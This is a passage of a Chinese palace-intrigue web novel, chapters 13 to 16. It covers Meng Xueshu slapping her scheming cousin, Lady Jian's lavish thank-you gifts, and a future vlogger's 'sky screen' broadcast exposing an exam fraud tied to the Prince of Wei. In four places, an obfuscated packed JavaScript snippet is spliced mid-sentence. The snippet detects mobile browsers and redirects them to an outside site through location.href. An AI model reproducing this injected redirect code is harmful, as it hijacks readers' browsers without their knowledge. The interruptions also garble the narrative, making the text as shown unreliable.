于珍也知晓霍舒怡对孙大圣的喜欢,因此见孙女竟然还夸自己是火眼金睛,她不由就笑了,扬起嘴角朝孙女说道: “奶奶可没有火眼金睛,真正厉害的,另有高人呢!” 于珍说话间,霍英和凌戈从外面走进了禅房中。 霍英嘴角含笑:“什么火眼金睛和高人,你们这是在聊什么呢?” 于珍一听,便知道凌戈并没把事情说给霍英知道。 她神色如常,朝霍英说道:“没什么,就是在说孟大姑娘崴了脚,但却没告诉家里人的事情。” “孟大姑娘?”霍英语气疑惑,“是哪个孟家啊?” 孟是个很常见的姓,京师里不少官员都姓孟。 于珍:“就是孟相的孙女,她父亲是孟相那个因公殉职的大儿子。” 于珍这么一说,霍英顿时就知道了,但凌戈却并没那么了解京师过去的事情。 所以,他朝于珍疑惑问道:“您刚才说的因公殉职,这是什么个情况?” “这事情说起来都有些久远了。”于珍朝凌戈说道,“十二年前,孟相他大儿子当时外放在并州那边当知府。那位孟知府勤于政事,且操守廉正,惩奸除恶,所以很是受到当地老百姓的爱戴。” “我记得当时京里不少人都说孟相教子有方,孟家后继有人,至少还能往后再兴旺个三代。” “可天意弄人,并州那一年夏天突发洪涝灾害。孟知府得知自己下辖的几个县都遭遇了洪水过境,便亲自到地方上察看受灾情况。直到确保各县的救灾工作都在平稳进行后,他这才打道回府。然而,就在他们经过一处山路时,意外遇到了山体塌方,泥石流突然从山上猛烈地冲了下来,瞬间将他们一行人都给吞没。” 于珍说到这,忍不住叹息了一声: “等老百姓找到他们时,所有人都已经不幸遇难牺牲。孟知府的灵柩被送回故乡祖茔安葬时,并州当地许多老百姓还都自发等候在他灵柩经过的路上,为他摆设供品祭奠,悲泣着为他送行。” 凌戈经过于珍的讲述,心中也不禁对那位孟知府产生了敬意: “德莫高于爱民,行莫贱于害民。即使是目不识丁的老百姓,其心中也自有一杆秤在,这位孟知府是一位真正为民办实事的父母官。”* 霍英语气不确定:“我记得那位孟知府的妻子,好像在他去世后的第二年,也病亡了是不是?” 于珍轻轻点了下头:“那位夫人和孟知府年少时便相识,夫妻俩人感情向来要好。她之所以没跟着孟知府外任,也是孟知府体恤她身子弱,不想让她跟着在路上劳累奔波,谁知这一分别,就是天人永隔。” 于珍:“也正是因着他们夫妻沆瀣情深,那位夫人才会在得知孟知府的死讯后,悲痛到当场呕了一口鲜血,自此便一病不起,缠绵病榻,没撑过两年就离世了。” 霍英听到这,也不禁为这对夫妻感到惋惜。 他望向于珍,问道:“我刚才听你说,那位孟大姑娘崴了脚却没告诉家里人,她和家里人关系不好吗?” 于珍也无意指摘别人的家庭关系如何,只是道: “她在父母去世后,是被养在孟相夫人膝下,可能她和她祖母比较亲近吧。今日带她来寺里的,是孟家二房的那位太太。” 于珍说话时,注意到凌戈神情好似若有深思。 她心中突然咯噔了一下,脑海中骤然冒出了一个不确定的猜测。 随即,她好似随意地说道:“说起来,这时间过得也真是快。孟家当年给那位孟家大姑娘办洗三礼时,我还上门去随过礼呢。这一晃眼,她都是快要嫁人的大姑娘了。” 霍英:“她已经订下婚约了吗?” 于珍忍不住嗔了霍英一眼,“瞧你这话说的,那位孟家大姑娘今年17岁,那肯定是已经订下婚约了,而且还是娃娃亲呢。孟知府和现在朝中那位吏部尚书唐景荣,以前在求学读书时,乃是书院同窗。俩人关系匪浅,互为知己,所以便为两家的孩子订下了娃娃亲。” “我估摸着,他们两家可能是想着等明年会试后,再举行婚礼。毕竟,唐尚书家那位公子如今已经是举人,若是能在会试中金榜题名,到那时,便是双喜临门了。” 于珍说到最后,忍不住用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340514|183416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼角余光偷偷观察了凌戈一眼。 作为过来人,她最是明白,关注和好奇,通常就是一段感情的苗头。 而从凌戈刚才偷偷找到她,拜托她给孟雪姝送药的举动,于珍隐隐感受到,凌戈对于孟雪姝,似乎有点不同寻常。 不过,于珍也相信,凌戈是个有分寸的人。 在她提及孟雪姝的婚约以后,不用她明讲,凌戈自己也会晓得该怎么做。 眼下见凌戈神情平静,并没有明显表现出什么伤心或者失落的模样,于珍心头也就慢慢松了一口气。 于珍以为自己的观察很隐晦,但却被小蓝球系统全看在了眼中。 他一脸疑惑地朝凌戈说道:“凌戈,我怎么觉得义母她有点奇怪呀?她要看你就直接看呗,为什么还要偷偷看呢?” 凌戈事实上已经从于珍刚才的言语中,听出了于珍的善意提醒。 他不想过多和系统交流自己感情上的事情。 毕竟系统在他看来,就和个小孩没什么两样,所以,他直接两三句话就将系统给含糊了过去。 而在于珍和凌戈他们这边提及孟雪姝时,孟雪姝那边则是已经坐上了返程回府的马车。 因为赶走了一个马车夫,再加上为了表现自己对孟雪姝的照顾,许静就将孟雪姝安排在了她和女儿孟雪琪的那辆马车上。 孟雪琪则希望路上有人陪聊解闷,所以她就将三房的两个堂妹孟雪锦和孟雪绣也喊到了车上来。 好在马车宽敞,所以坐了这么些人后,也并不拥挤。 孟雪琪本来还在为于珍刚才的拒绝而感到心中恼恨。 但上车后,看到孟雪姝左脚上包扎着的绷带后,她瞬间心情又感到一阵舒畅了起来。 孟雪琪以观看孟雪姝的狼狈,作为自己的乐趣来源。 甚至,她还故意选择坐到孟雪姝那一边,朝孟雪姝挑衅说道: “孟大小姐,你不是向来被祖母夸心细如发吗?下次要是再走山路,可得注意看路,别再崴着脚了,不然那可……” “啪!” 一记响亮的巴掌声,直接打断了孟雪琪嚣张的气焰。 孟雪琪被扇得脸都朝旁边偏了一下。 马车里,霎时间寂静无声。 坐在孟雪姝对面的孟雪锦和孟雪绣姐妹俩,震惊地都睁圆了眼睛。 许静则是瞬间怒不可遏,抬手指着孟雪姝,“孟雪姝,你太过分了,你怎么……” “啪!” 许静话音未落,孟雪姝就又用力扇了孟雪琪一巴掌。 左脸连着被扇了两巴掌,且孟雪姝丝毫没留力,所以孟雪琪的脸颊上,顷刻间就浮现出了显眼的五指印。 13. 第 13 章 感受到从脸颊处传来的火辣辣痛觉,孟雪琪简直快要气疯了。 她转头望向孟雪姝的眼神,凶恶得像是要将孟雪姝给生吞活剥了一样。 孟雪姝却是很神情淡然地回望向她:“怎么,觉得我扇你两巴掌太少,还想让我再扇几下是吗?” 孟雪琪听到孟雪姝这话,瞬间更是气得眼睛里都出现了红血丝。 她咬牙切齿地瞪着孟雪姝,“我看你真是不知死活,都到这个时候了,竟然还敢继续惹怒我!” 孟雪姝嘴角轻蔑地冷笑了一声:“不知死活?怎么,你还敢把我给杀了不成?若是你真有这胆,那倒是尽管来!如若不然的话,就给我闭上你的狗嘴!” 孟雪姝刚才之所以没在大恩寺那边收拾孟雪琪,是不想耽误了为祖母祈福的事情。 现在既然都已经要返程回去了,她自然也就没了那么多的顾忌。 她冷眸望向孟雪琪,说道:“你真以为我不知道马车的事情,是你孟雪琪指使人做的?我给你那两巴掌,那都是你应得的!” “趁现在还没回府,你大可以想想,如果祖母待会知道这件事,她会如何处置你这个蠢货!” 孟雪琪性子冲动,哪能听得进孟雪姝此刻的话,但她刚朝孟雪姝挥起手,刚才坐在马车中间位置的许静,却是立刻就急忙扑了过来。 许静一把紧紧地按住女儿孟雪琪的手,同时朝孟雪姝挤出一抹笑: “雪姝,既然你人也打了,那这口气你应该算是也出了吧?不如听二叔母一句劝,今天的事,咱就这样翻篇过去,别把事吵到老夫人面前,惹得她老人家烦神。” 许静刚才把孟雪姝喊上马车,也有想要提前和孟雪姝商量好,让她别到婆婆面前告状的意思。 可谁曾想,她还没开口呢,孟雪姝就已经先扇了她女儿孟雪琪两巴掌。 而对于许静这息事宁人的话,反应最大的,不是孟雪姝,反而是孟雪琪。 孟雪琪气得差点当场跳起来:“娘,你在说什么啊!你到底知不知道谁才是你的亲生女儿!” “孟雪姝这个贱人刚才可是动手扇了我两巴掌!我这辈子活到这么大,还从来没人敢动我一根手指头呢!” “你给我闭嘴!” 许静直接回头凌厉地瞪了孟雪琪一眼。 她摆出严母模样,朝孟雪琪训斥道: “你该庆幸雪姝她刚才已经动手打过你了,不然等我回家后,我肯定也要狠狠教训你一顿,让你知道不能随便对人恶作剧!” 孟雪琪看似外表很蛮横,但实际性格却是色厉内荏。 看到许静绷着一张脸,神情很是严肃的模样,她一时间反倒是不敢再闹腾了。 而许静看到女儿终于消停下来,心中也是微松了一口气。 不过,想到孟雪姝刚才搬出婆婆的事情来,她顿时又感到一阵压力。 即使已经掌握当家大权多年,但许静面对婆婆简书雯时,依然会感到一阵压力,仿佛自己心中所思所想,全都被婆婆一眼看穿。 而且,想到简书雯那奖罚分明、说一不二的性格,许静越发替女儿孟雪琪感到担忧,怕她会遭受到来自简书雯的重惩。 许静望向孟雪姝,道:“雪姝,你放心,二叔母在这里向你保证,像今天那样的事情,往后绝对不会再发生第二次!” “你就看在雪琪年纪还小的份上,原谅她这一回吧,别把事情捅到你祖母面前去。她老人家如今还感染着风寒呢,咱们做小辈的,该让她省些心才是!” 事实上,即使许静不提,孟雪姝本来也无意让祖母知道今天的事情。 她刚才不过是为了唬住孟雪琪,这才故意搬出祖母的存在来。 现在见到许静开口,她这才冷哼了一声,然后望向孟雪琪道: “你之后若是敢的话,大可以再来试一次!我倒是想看看,你还有什么招数没使出来!” 孟雪琪听到孟雪姝这番话,顿时更是气得不行,但她刚一张嘴,还没出声,就直接被许静给狠狠瞪了一眼。 许静用眼神示意孟雪琪给自己闭嘴。 孟雪琪不敢真的忤逆许静,只好恨恨忍下了这口气。 一时间,车厢里突然安静得只能听见外面车轱辘转动的声音。 本来是被孟雪琪喊上车来消遣解闷的孟雪锦和孟雪绣姐妹俩,更是沉默地低垂着头,恨不能在此刻将自己的存在感变至透明。 马车里那过分安静又凝滞的怪异气氛,就这样保持到了回府。 孟雪琪一到家,就立刻迫不及待地跳下了马车,连一秒钟都不愿意和孟雪姝多呆。 不过,直到回到自己的小院之前,她一路都没敢抬起头来,因为生怕被下人们发现自己脸上的巴掌印。 而于珍等人倒是不知道,在她们眼中的小可怜孟雪姝,竟然在她们离开以后,自己就帮自己给出了一口恶气。 不过,几天后,就在于珍她们都快将大恩寺发生的小插曲抛到脑后时,孟雪姝的祖母简书雯,却是突然派了孟府的管家过来,给于珍等人送了一份谢礼,说是感谢她们在大恩寺时对孟雪姝的照拂。 管家上门来时,对礼物的介绍很简单,于珍和霍英等人便以为这应该只是寻常的谢礼。 但等孟府管家走后,于珍打开桌上礼盒一看,便吓了一跳: “简老夫人她怎么准备了这么些礼物?” 霍英和凌戈此刻也坐在待客大厅,看到于珍惊讶的反应后,俩人随即起身来到于珍身边。 原来,简老夫人给于珍和她儿媳妇各送了一套金嵌蓝宝石头面,头面的设计看起来很是典雅精致,一看便是名匠之作。 除此之外,她还在礼盒中放了两本书,一本是早在前朝末年便已经失传的著名兵书,另一本则是有神童之名的孟相他幼年习字时用的临摹字 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340515|183416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帖。 显然,兵书是为霍英准备的,而字帖则是赠给最近才开始启蒙识字的霍舒怡。 就连凌戈和如今还远在边关的霍青川,简老夫人也都各赠送了一把墨色匕首。 那匕首看似不起眼,但熟识兵器的凌戈和霍英一看,便知道其刀刃锋利到甚至可吹毛断发。 霍英对于礼物的丰厚程度,也感到惊讶,他一脸疑惑地朝于珍说道: “虽说夫人你确实是让耿嬷嬷帮了那位孟大姑娘,但与敷药的行为相比,简老夫人如此出手,也未免太大方了些?” 于珍也一脸不解,对于简老夫人的大手笔感到一头雾水。 而凌戈看着礼盒中的那些谢礼,脑海中此时却突然冒出了一个猜测。 凌戈原本以为,孟雪姝应该会将她与自己在山道上的偶遇隐瞒在心中。 但现在看来,孟雪姝很可能是将事情都说给了她祖母知道。 如果是这样的话,那简老夫人送出如此重礼,也便能解释得通了。 凌戈的猜测,事实上确实猜中了一切。 简老夫人尽管久不管家,但在相府中,却也不是半点势力都没有。 虽然孟雪姝对她说是自己在寺庙里不小心崴到了脚,可简老夫人却也从自己的亲信口中,得知了孟雪姝被中途落在山道上的事情。 在和孟雪姝一番长谈过后,她气得直接关了孟雪琪这个始作俑者三天三夜的祠堂禁闭,直到昨天才将孟雪琪给放了出来。 而对于暗自帮助孙女颇多的凌戈,简老夫人心中则感激万分。 但因为不好将这事摆到台面上来讲,怕影响到孙女的名声,她只好通过善待凌戈家人的方式,来表达自己对凌戈的谢意。 而霍英和于珍虽然对简老夫人的大手笔感到疑惑不解,但既然礼物都已经收下了,那现在也不好再重新退回去。 好在霍英府库里也有不少奇珍异宝,他和于珍便商量着,等下次相府有什么喜事时,必须得给贺礼加重些份量才行。 然而,就在霍英和于珍正商量着下次该送什么回礼时,霍府的管家霍礼步履匆匆地从外面走了进来。 霍礼一看到霍英,便立刻难掩激动地道:“老爷,之前消失的天幕又出现了!” 霍英听到霍礼这话,霎时间就迈开步子往外走。 凌戈见状,也好奇地跟了出去。 他一走出屋子,立刻就看到天空中又出现了那半透明的天幕,而且天幕上还显示着一行提示: 【您预约的精彩视频,将于半小时后上线播放】 而就在天幕和那提示出现后没过一会儿,霍英府上便迎来了一位从宫里赶过来的太监。 原来,盛昭帝也注意到了天幕的再次出现,于是下令让朝中三品及以上的官员,都即刻进宫。 凌戈如今是正三品,霍英则是正一品,俩人自然都在盛昭帝的规定范围内。 14.第 14 章 凌戈和霍英还没进到宫中,就先在宫门口碰到了卫王和鲁王。 卫王和鲁王这俩个互不对付的死对头,竟然直接在宫门口处便吵了起来。 而论吵架,注重形象的卫王,自然是吵不赢向来都有些混不吝的鲁王。 卫王气得一甩袖子,直接带着几个追随他的官员,转身进宫去。 他走在宫道上,想到刚才吵不赢鲁王的事情,气得是心口一阵作呕,忍不住咳嗽了两声。 而在卫王的追随者眼中,卫王如今早已是板上钉钉的下一任帝王,甚至是实至名归的“天命神授”。 所以,一听到卫王咳嗽,当即就有个官员凑到卫王身边,朝卫王低声道: “王爷,您可得万万保重身体,咱们来日方长,不必与鲁王计较这一时的得失。就算鲁王刚才得了些嘴上的便宜又如何,他难道还能笑到最后吗?” 卫王一听这番话,顿时觉得心里的那股气又变顺了。 他轻轻点了下头,咬牙低语道:“本王明白了,本王是不会与那莽夫计较的。” 卫王心中已经下好决定,只好他一登基,他必杀鲁王! 最了解你的,莫过于敌人。 被卫王称为莽夫的鲁王,在气走卫王后,竟然转头又挑衅起了凌戈和霍英。 鲁王到底是皇家子孙,凌戈和霍英在看到他时,自然还是得朝他行礼问候一下。 而鲁王一见到凌戈和霍英,就想起了他们父子二人之前都拒绝了他的见面邀约。 鲁王望向霍英和凌戈,声音中透着明显的不满和阴阳怪气: “忠勇侯、凌将军,你们二人之前说公务繁忙,无法抽身来赴约,但我怎么却听说,你们全家还有空去大恩寺烧香拜佛呢?” 霍英和凌戈他们去大恩寺时,并没有特意遮掩身份,因此鲁王会知道这一消息,霍英和凌戈一点都不感到意外。 霍英神情淡定:“王爷,圣上急宣我等进宫,时间紧迫,我们恐怕还是先进宫为妙,免得耽误了圣上的正事。” 听到霍英直接搬出盛昭帝这尊大佛来压自己,鲁王顿时是气得面色涨红,但却又无法拿霍英如何。 看着霍英和凌戈施施然离开的背影,鲁王简直是气到咬牙切齿。 自认为是盛武帝的他,在心里暗暗想着,等他登基之后,他必定要将霍英和凌戈千刀万剐,以报霍英和凌戈两次辱他之仇! 而因着宫门口时的插曲,凌戈和霍英来到盛昭帝面前时,天幕上已经正在进行最后三秒的倒时。 随着倒计时的结束,天幕上又重新出现了许三九的身影,她笑容灿烂地坐在一把电竞椅上: 【宝子们,三九上一期的视频,播放量创下账号有史以来的新高,竟然突破了百万播放!】 【看来大家和三九一样,都很喜欢我们盛武帝男神啊!】 【这几天还有不少粉丝到后台私信三九,让三九多做些与盛武帝相关的视频。三九想了想,决定这一期来讲下,盛武帝的一生挚友,也就是温容温相公的故事】 【历朝历代的史学家,在研究盛武帝时期的朝政时,势必都绕不过温容这么一个人物。因为在盛武帝执政时期,温容为盛武帝当了足足十六年的宰相。直到病亡的前一天,躺在病榻上的他,依然还惦记着民生国事】 【而因为担心自己死后的葬礼铺张浪费、劳民伤财,他留给盛武帝的最后遗言,甚至是让盛武帝把他简单葬在一处山清水秀之处便可,无需举办任何祭奠仪式】 【然而,就在盛武帝亲自为温容扶灵出殡的那一天,为温容送葬的队伍,却是一眼都望不到头】 【原来,几乎京师所有百姓,不分男女老少,大家在这一天都特意穿上丧服,自发走上街头,想要送温容最后一程】 【温容的这一生,为了大盛百姓,可以称得上是鞠躬尽瘁,死而后已】 【而朴实无华的百姓们,也将他的付出全都看在眼中,所以在他死后,才会悲不自胜,纷纷自发上街为他送葬】 【山河不会忘记,人民不会忘记,历史不会忘记】* 【即使时光已经过去了两千多年,但被称为青莲相公的温容,其陵墓依然常年香火旺盛,每年都能吸引许多民众前往参观和拜祭】 许三九说话间,还特意将视频画面切换成,温容陵墓在暑假期间,每日一万张门票放票即“秒光”,游客吐槽门票一票难抢的新闻画面。 同为宰相,孟谦看着天幕上的画面,向来平静从容的眼神中,也不禁流露出了一丝羡慕。 古往今来,无数文人士大夫都将青史留名作为自己的毕生追求。 然而,历史长河浩浩荡荡,能够名留青史者,却又是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16344640|183416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屈指可数。 一时间,孟谦对于天幕口中的温相公,产生了浓郁的好奇心。 他想知道温容到底是什么样的一位人物,竟然能够在两千年后,也依然受到后人如此敬仰。 【关于温相,很多历史剧都翻拍过他的事迹,不过大多着重点都是放在他和盛武帝相识后的经历】 【三九相信很多人应该都看过这些历史剧,所以今天这个视频,三九就比较想要聊一些,温相在认识我们盛武帝之前的事情】 【例如,为什么温相会被有些人蔑称为独臂相公?】 【温相又因何缘故,失去了他原本写字的那只右手?】 从“独臂相公”这个词一出来,天幕下,许多大臣瞬间脸上都露出了错愕的神情。 众所周知,科举入仕对于长相,是有要求的。 虽然不要求官员们都得玉树临风,但至少也需要仪表堂堂,不能有贼眉鼠眼之相,或是身材矮小,免得有损朝廷形象。 而现在,一个断了右手的残疾人,却竟然成为了宰相?! 这自然让众人都感到很是震惊和不解。 而许三九并不知道自己简单两句话语,就给天幕下的大盛朝臣民都带来了巨大的冲击。 她在天幕上继续道: 【很多人都以为温相是先天便残缺了右手】 【我之前读高中时,在和班上一个男同学聊天时,他就是这么以为的】 【但事实上,温相的右手,其实是被有心人给故意用刀斩断的,为的就是要绝了温相的科举之路】 “简直是可恶至极,其罪当诛!” 盛昭帝一直在默默看着天幕上的许三九视频内容。 但在听到许三九刚才说的事情后,他霎时间是龙颜大怒,为温容的遭遇感到痛心和惋惜。 而除了盛昭帝外,孟谦等一众文官,也都对这事感到很是愤怒。 文能提笔安天下,武能上马定乾坤。* 对于文人而言,提笔写字的右手,简直是如同生命般重要的存在。 砍去一个士子的右手,无异于是摧毁掉他的安身立命之本。 这是对一个文人肉.体和灵魂的双重摧残和毁灭。 就连凌戈和霍英他们这些武将,在听到许三九的话后,也都不禁对那位温容温相产生了怜悯之心。 15.第 15 章 卫王早已在心中将自己视为了盛武帝。 听到许三九在天幕中说温容是个独臂的残疾人后,他不由皱了皱眉头,觉得任命温容为宰相这个安排有些不妥当。 如果可以的话,卫王更希望自己能够拥有一个完美无瑕的宰相,毕竟宰相乃是百官之首。 卫王觉得,如今有了天幕,或许那温容的右手还未被砍断。 所以,在看到盛昭帝为温容的事情勃然大怒后,他主动站了出来,朝盛昭帝请缨道: “还请圣上息怒,保重龙体!若陛下不嫌,微臣愿为陛下分忧,竭尽所能,在全国士子中找寻出温先生的下落!” 盛昭帝听到卫王这表态,神情陷入沉思,似乎是正在犹豫是否要答应卫王的请求。 不过,还没等盛昭帝给出答复,天幕上的许三九就又说道: 【相信大家现在肯定都很想知道,那位砍断温相右手的渣滓到底是谁吧?】 【三九我也不卖关子了,那人虽然家中是商贾出身,但奈何他是卫王的小舅子,所以他在江陵当地,堪称是无法无天的土皇帝,没人能奈何得了他!】 许三九这话一出,盛昭帝以及众人审视和打量的目光,瞬间就都落在了原本还一脸义正辞严的卫王身上。 而卫王听说那作恶之人竟是自己的小舅子后,瞬间就扑通一声跪在了地上,朝盛昭帝大声喊冤道: “陛下,微臣的王妃自幼便在京师长大,且老家也并非江陵。臣在江陵那边,并无什么所谓小舅子啊!” 听到卫王意图撇清关系,鲁王这时急忙开口朝盛昭帝道: “陛下,无风不起浪,若是那罪人与卫王无关,三九姑娘又何必要提及卫王他这个人?总不可能是三九姑娘要故意陷害卫王吧?” 见鲁王在这时还朝自己落井下石,卫王心中真是顿时恨不能一刀捅死鲁王,但他也明白,自己眼下与鲁王纠缠不起。 “陛下,或许是三九姑娘她误会微臣了呢?” 卫王头脑到底还是灵敏,迅速就给自己想出了一个合理的解释: “毕竟,她们那个时代,距离咱们现在已经有两千多年。三九姑娘了解到的事情,未必就是真实所发生的事情,也有可能是道听途说的稗官野史!” 盛昭帝听到卫王这理由,也不得不承认,卫王的分析有一定道理。 而且,卫王王妃的娘家家族势力,确实不是在江陵那边,而是在苏州府一带,两地事实上相隔甚远。 意识到现实情况与天幕上许三九说的话无法吻合,盛昭帝心头骤然微沉,开始思考,许三九之前说的其他话,是否还可信。 不过,说来也巧,似乎是提前预判到自己的话会引来争议,许三九这时又补了一句: 【对了,打个补丁,防止有人说三九我胡编乱造,不了解史实。那畜生其实并非卫王的正经小舅子,毕竟他姐不过是卫王后院中的一个爱妾。我之所以故意喊他卫王的小舅子,纯粹是因为那个败类确实是仗着卫王的势力,这才得以在乡试中买通考官,让考官帮他调换了温相的卷子】 【他正是靠着窃取温相的成绩,才成为了泰安二十五年,江陵会试第一名的解元】 许三九的这番解释,直接让原本还心存侥幸的卫王,彻底陷入了绝望。 泰安二十五年,正是今年。 而各地的乡试,也就是举人考试,早在八月份那会,就已经考完。 各地的乡试结果,如今也已都全部昭告天下。 换句话说,这起科举舞弊案,在两个月前,就已经发生了。 原本,卫王心中最盼望的,是温容断手这事和他毫无关系。 可现在,虽然小舅子不是正经小舅子,可到底也是他府中妾室的弟弟,还是和他牵扯上了关系。 一个“治家不严”的罪名,他肯定是跑不了。 更要命的是,他那妾室的弟弟还胆大包天,竟然搞出了科场舞弊案来。 卫王现在就怕其他人会误以为,他其实是事先便已经知道这事。 “陛下,微臣是真的冤枉!” 卫王当场潸然泪下,朝盛昭帝哭泣道:“国之大柄,莫先择士!微臣深知科举之重要性,又岂敢让人徇私舞弊?”* “若是微臣之前便知道这事,微臣必定会将那贼人送官究治,绝不可能坐视不管的啊!” 鲁王看到死对头哭得涕泗横流,狼狈至极的模样,心中顿时感到一阵痛快。 “谁知道卫王你这话是真是假!” 鲁王故意提高说话分贝:“说不定你卫王就是因为知道科举的重要性,所以才让你小舅子铤而走险呢!你看,你小舅子他这一冒险,不就摇身一变,成了会试第一名的解元吗?” 听到鲁王此时还在故意称呼那人为自己的“小舅子”,卫王心中简直气得是怒火直冲天灵盖。 他怒目望向鲁王,说道:“鲁王,你休要血口喷人!对于此等不公之事,我绝对不可能助纣为虐!” 鲁王张了张嘴,正打算再怼下卫王时,盛昭帝却开了口: “行了,你们俩人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16351671|183416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都别吵了,先听听三九姑娘怎么说。” 盛昭帝都发话了,卫王和鲁王自然也不敢再闹腾。 不过,俩人此刻脸上的神态却是截然不同。 鲁王是一副轻松自在的模样,眼神中甚至还隐隐透出几分兴奋和激动。 而依然还跪在地上没起身的卫王,此刻则是表情一片灰暗,如丧考妣。 从许三九今天出现天幕上时,她就一口一个卫王的喊着,丝毫不像她之前对盛武帝那般尊敬的模样。 结果已经很显而易见,卫王并不是许三九所崇拜和敬仰的那个盛武帝。 而此刻现场站着的所有人,没有一个是傻子,所有人都已经看出来了这个讯息。 原本追随在卫王身后,想要借此获得从龙之功的那些大臣,眼下一个个都神情紧绷,有人甚至额头已经冒出了一层冷汗。 而鲁王那一派的人,虽然人员不多,但却全都是一副精神抖擞,好似打了胜战的模样。 盛昭帝将一众官员的神情变化都看在眼中,但却没有说什么。 他这一刻,脑中在思考的,是该如何处理这起科举舞弊案。 大盛朝的乡试,是每三年在各地省城举办一次,且主考官是由礼部和吏部共同决定,再从京师下派到当地。 朝廷之所以对考官的安排如此大费周章,就是因为科举制度的公正与否,关乎到国本与社会的稳定。 现在江陵的这场乡试科举舞弊案被天幕捅破,天下人势必都在等着看,朝廷会对这起案子给出怎样的处理结果。 天幕上的许三九,还不知道自己刚才说出的那些话,将会给大盛的官场带来一场声势浩大、血雨腥风的清洗。 她在视频中神情很是愤怒地说道: 【那个畜生他窃取了温相的成绩后,又深知温相虽然家境贫寒,但却终非池中物,只要给温相抓住一个机会,温相便必定能鱼跃龙门!】 【为了以绝后患,同时让温相余生都生活在痛苦中,他竟然就带着几个打手,堂而皇之地闯进温相家中,然后砍断了温相的右手!】 【可恨我没法穿越到古代,不然我真是想把那狗杂种给碎尸万段了!】 天幕下,江陵城中,温家小院。 听着天幕上后人为自己打抱不平的话语,温容清隽的面容上不禁露出一丝笑意。 但当视线转到面前站着的马鹏及其那几个身上挎着刀的下人后,他眸光霎时间又变得冰冷如霜: “马解元,我温容今天应该还能保得住我的右手吧?” 16.第 16 章 早在刚刚天幕开播时,马鹏就带着他手底下那几个打手,闯进了温容家租住的小院。 原来,自从上个月乡试放榜后,成为了解元的马鹏,便成为了江陵城内诸多文会的座上宾。 每天忙于各种应酬的他,直到最近这几天才刚闲下来。 而他这一闲,就想起了他在文会上,曾经听到书院同窗说温容在重新准备乡试的事情。 作为和温容同窗近十年,同时又窃取了温容乡试成绩的人,马鹏是最知晓温容真实才华的那一个。 他当即下定决心,要毁掉温容在科举上取得成功的希望。 原本,马鹏带着下人进到温家小院时,他脸上还是一副凶神恶煞的模样。 但当听到许三九在天幕里提及温容的名字后,他顿时就傻眼了。 一开始,马鹏还想着,会不会只是碰巧同名同姓罢了。 但随后,在听到“卫王小舅子”和“江陵”这个地名以后,马鹏的双腿就已经开始发软了。 在江陵城中,他只知道一个人有资格自称“卫王小舅子”,那就是他自己。 而随着天幕的展开述说,他更是恨不能当场晕厥过去。 他做过的那些见不得光的事情,以及即将打算做的事情,竟然全都被天幕搬到了台面上来。 马鹏知道自己彻底玩完了! 所以,听到温容朝自己询问说还能否保住右手这个问题,他看着温容那张淡定冷漠的脸,情绪更是突然一下子崩溃了。 凭什么他都要死了,温容却还能好好活在这个世界上,甚至还会有功成名就的一生?! 马鹏越想越无法接受这个现实。 他尖着嗓子,撕心裂肺般朝那几个下人怒吼道: “你们几个蠢货还在发什么呆!立刻给我砍了他的两只手!我要他这一辈子连笔都再也拿不起来!” 如果在往日,马鹏不用发怒,单是给一个眼神,他的几个打手都会立刻很识趣地按照他的意愿去办事。 但现在,即使马鹏怒得像是只疯狗一样大吼大叫,那几个打手却连脚步都没挪一下,好像脚下突然长了根一样。 马鹏见到他们纹丝不动,瞬间更是气疯了,抬脚就往距离最近的那个打手身上猛地踹去: “你是耳聋了吗?老子让你砍了温容这个贱人的手!砍了他的手!” 那打手被马鹏踢得后退了两步,但手还是依然没伸向腰间挎着的刀,好似真的变耳聋了一般。 马鹏见状,更是气得身体都在哆嗦。 他冲向那打手,伸手就要抽出打手腰间的刀来。 然而,还没等他碰到刀时,他的手就已经被那个打手给抓住了。 那打手望向马鹏,声音中带着恳求和惧意,说道: “少爷,您刚才也听到天幕上说的话了。温少爷他以后可是官至宰相的人,咱们真的开罪不起他!” 